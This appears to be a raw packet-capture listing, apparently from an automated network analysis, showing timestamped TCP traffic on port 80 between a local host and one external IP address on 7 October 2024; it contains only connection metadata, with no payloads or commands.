Oct 7, 2024 03:15:40.862140894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862164974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862178087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862200975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862210989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862236023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862247944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862268925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862283945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862304926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862314939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862339020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862351894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862374067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862386942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862407923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862420082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862453938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882337093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882390976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882417917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882441998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882452965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882478952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882489920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882514000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882522106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882549047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882565975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882584095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.882608891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.882638931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902692080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902745962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902766943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902780056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902791023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902813911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902826071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902849913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902859926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902883053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902898073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902918100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902930021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902951956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.902964115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.902993917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921287060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921317101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921351910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921370029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921380043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921416998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921425104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921474934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921526909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921529055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921562910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921576023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921612024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921616077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921646118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921667099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921679020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921691895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921716928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921726942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921751022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921763897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921786070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921797991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921819925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921832085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921855927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921865940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921891928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.921901941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.921937943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946702957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946758986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946768999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946789980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946804047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946825027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946827888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946868896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946880102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946924925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946932077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.946978092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.946985960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947027922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947036982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947072029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947082043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947117090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947124004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947169065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947175980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947211027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947221994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947246075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947256088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947280884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947292089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947326899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947338104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947371960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947391033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947415113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947422028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947465897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947473049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947506905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947520018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947540045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947552919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947576046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947587013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947623968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947629929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947665930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947678089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947712898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947720051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947755098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947768927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947798967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947805882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947855949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947859049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947906017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947911978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947946072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947957039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.947979927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.947993994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948014975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948025942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948050022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948060989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948086023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948093891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948131084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948137999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948184013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948194027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948227882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948240042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948272943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948281050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948328972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948333025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948379993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948388100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948421001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948436975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948466063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948473930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948508978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948520899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948542118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948554993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948576927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948592901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948617935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948627949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948652029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948664904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948694944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948703051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948748112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948756933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948791981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948807001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948834896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948844910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948879957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948885918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948913097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948925972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948949099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948959112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.948982954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.948992968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949021101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949029922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949054956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949062109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949090004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949100971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949131966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949142933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949167967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949178934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949203014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949213028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949238062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949248075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949271917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949284077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949306965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949317932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949341059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949352980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949377060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949387074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949412107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949419022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949445963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949457884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949480057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949491978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949518919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949526072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949552059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949565887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949588060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949596882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949621916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949635029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949656963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949666977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949688911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949698925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949723959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949734926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949758053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949769974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949794054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949805021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949829102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949841022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949863911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949875116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949898005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949915886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949932098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949944019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.949970007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.949980021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.950004101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.950016022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.950038910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.950050116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.950073004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.950086117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.950118065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969259977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969295025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969317913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969341040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969350100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969383955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969398022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969419003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969428062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969453096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969464064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969489098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.969497919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.969535112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.989492893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989547014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989578962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989613056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989645004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989677906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989711046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989721060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.989746094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.989770889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.989795923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008527994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008580923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008603096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008615017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008629084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008649111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008657932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008682966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008692980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008718014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008727074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008753061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008764029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008788109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008797884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008824110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008830070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008857965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008871078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008892059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008903980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008925915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008939028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008960962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.008971930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.008999109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.009007931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.009044886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.033592939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.033612013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.033628941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.033644915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.033663988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.033700943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.033755064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.124125957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.124290943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:41.129143000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.129177094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.129229069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.129256964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:41.129283905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:42.010854006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:42.010946989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:42.211042881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:42.211134911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:42.220055103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:42.220086098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:42.220308065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:43.039011955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:43.039223909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:43.058082104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:43.062932968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:43.828396082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:43.828463078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:43.959589005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:43.964430094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:44.772706985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:44.772856951 CEST	49737	80	192.168.2.4	95.164.90.97
